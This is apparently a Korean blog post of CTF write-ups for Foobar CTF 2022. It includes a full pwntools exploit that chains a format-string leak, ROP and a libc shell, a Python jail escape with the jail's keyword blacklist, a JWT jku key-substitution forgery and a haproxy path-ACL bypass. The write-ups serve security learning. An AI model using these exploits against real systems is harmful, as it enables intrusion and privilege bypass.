Foobar CTF 2022 writeup
# Warmup (pwn)
해당 문제는 FSB 를 통해 canary 값과 PIE 값을 leak 한 뒤, ROP로 shell을 획득하는 문제이다.
from pwn import *
context.log_level = "debug"
p = remote("chall.nitdgplug.org","30091")
e = ELF("./chall2")
l = ELF("./libc.so.6")
payload = "AAAAAAAA%20$p%23$p"
p.sendlineafter("Can you help find the Canary ?", payload)
p.recvline()
data = p.recvline().strip()[8:]
PIE = int(data[:14], 16)
canary = int(data[14:], 16)
PIE_base = PIE - e.symbols["__libc_csu_init"]
pop_rdi_ret = PIE_base + 0x0000000000001343
print("[*] canary: " + hex(canary))
print("[*] PIE_base: " + hex(PIE_base))
payload = b"AAAAAAAA" * 9
payload += p64(canary)
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(PIE_base + e.got["gets"])
payload += p64(PIE_base + e.plt["puts"])
payload += p64(PIE_base + e.symbols["main"])
p.sendline(payload)
p.recvline()
libc = u64(p.recvline().strip() + b"\x00\x00")
libc_base = libc - l.symbols["gets"]
print("[!] libc_base: "+hex(libc_base))
p.sendlineafter("Can you help find the Canary ?", "A")
payload = b"AAAAAAAA" * 9
payload += p64(canary)
payload += b"AAAAAAAA"
payload += p64(libc_base + 0xe3b31) # 0xe3b31 0xe3b34
p.sendline(payload)
p.interactive()
# Foobar Jail (MISC)
해당 문제는 python jail 문제이다.
여기서 로직 에러를 볼 수 있는데, for문 안에서 입력값 검증을 하는데, else문에서 실행 후 break 하지 않고 계속 반복문을 수행하게 된다. 즉, blacklist가 존재한들 의미가 없다.
#!/usr/bin/env python
from __future__ import print_function
print("=========================")
print(" WELCOME TO FOOBAR JAIL ")
print("=========================")
blacklist = [
"import",
"exec",
"eval",
"os",
"pickle",
"subprocess",
"input",
"blacklist",
"sys",
"ls",
"cat",
"echo",
"la",
"flag",
"tac",
"grep",
"find"
]
builtin = __builtins__.__dict__.keys()
builtin.remove('raw_input')
builtin.remove('print')
for modules in builtin:
del __builtins__.__dict__[modules]
while 1 == 1:
try:
print(">>>", end=' ')
val = raw_input()
for word in blacklist:
if word.lower() in val.lower():
print("Sorry!! You cannot use that here.")
break
else:
exec val
except:
print ("What are you doing ? :(")
continue
따라서 최종 payload는 다음과 같다.
a = "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]
print(a("flag.txt").read())
# Find My Location (web)
사용자가 전송한 `location` 값이랑 `history` 값과 `assign()` 함수를 통해 병합한다.
이후 56번째 줄에서 `isAdmin` 값이 `true` 일 경우, flag를 획득할 수 있다.
# The Photo Exhibit (web)
이런 문제 유형을 처음 봐서 많이 검색을 해봤다.
해당 문제는 `/.well-known/jwks.json` endpoints를 제공한다.
이는 jwt에서 해당 값을 참고하여 암, 복호화를 하게 된다.
위 사진에서 jku 값을 필자의 서버 주소로 변경하고, 공격자 서버에서 `/.well-known/jwks.json` 값은 아래 사이트에서 쉽게 얻을 수 있었다.
위 사이트에 접속한 뒤, 필요한 정보를 아래 처럼 입력해 준다. 생성 버튼을 클릭하면, 오른쪽에 jwks.json 파일을 얻을 수 있다. 이 값을 공격자 서버에 업로드한다.
이제 jwt token 값을 올바르게 검증하기 위해 위 사이트에서 `show X.509` 값을 `yes`로 선택하고 생성 버튼을 눌렀다면, 추가로 다음과 같은 key를 얻을 수 있다. 여기서 필요한 값은 `private key` 와 `public key` 이다.
위에서 얻은 값을 https://jwt.io 사이트에서 얻은 정보를 입력하면 jwt token 값을 조작할 수 있다.
해당 문제에서 admin의 uuid 값을 얻어야 하는데, 문제 코드에서 힌트를 얻을 수 있었다.
이미지를 업로드 할 때, 파일이름에 uuid 값이 들어간 것을 볼 수 있다.
admin의 uuid는 메인페이지에서 배경사진의 파일 이름에서 얻을 수 있었다.
따라서 admin의 uuid 값을 jwt token에 변조한 뒤 문제 서버로 요청을 보내면 flag를 획득할 수 있다.
# whoami (web)
해당 문제는 `haproxy` 가 앞단에서 routing 하고 있고, 그 뒤에 express 서버가 존재한다.
flag를 획득하기 위해 `/admin` 페이지에 접근을 해야 하는데, `haproxy` 설정으로 403 페이지가 출력된다.
이후 writeup을 봤는데, express에서 routing을 사용하게 되면 기본적으로 URL에 대소문자를 구문하지 않는다고 한다.
자세한 설명은 아래 링크를 참고하자.
https://lactea.kr/entry/nodejs-express-routing-case-sensitive-options
따라서 `/adminN` 이라고 요청을 보내면, `haproxy` 의 설정을 bypass 할 수 있고 express에서는 이를 `/admin` 과 같은 요청으로 보기 때문에 성공적으로 접근할 수 있다.
최종 payload는 다음과 같다.
'🔒Security' 카테고리의 다른 글
분석 일기 - file upload 취약점 (0) | 2022.05.12 |
---|---|
분석 일기 - php dynamic variable (0) | 2022.04.03 |
nodejs express routing case sensitive options (0) | 2022.03.06 |
java URL class를 이용한 내부 파일 읽기 (0) | 2022.03.02 |
format string 을 이용한 php sprintf 버그 (0) | 2022.02.04 |
댓글
이 글 공유하기
다른 글
-
분석 일기 - file upload 취약점
분석 일기 - file upload 취약점
2022.05.12 -
분석 일기 - php dynamic variable
분석 일기 - php dynamic variable
2022.04.03 -
nodejs express routing case sensitive options
nodejs express routing case sensitive options
2022.03.06 -
java URL class를 이용한 내부 파일 읽기
java URL class를 이용한 내부 파일 읽기
2022.03.02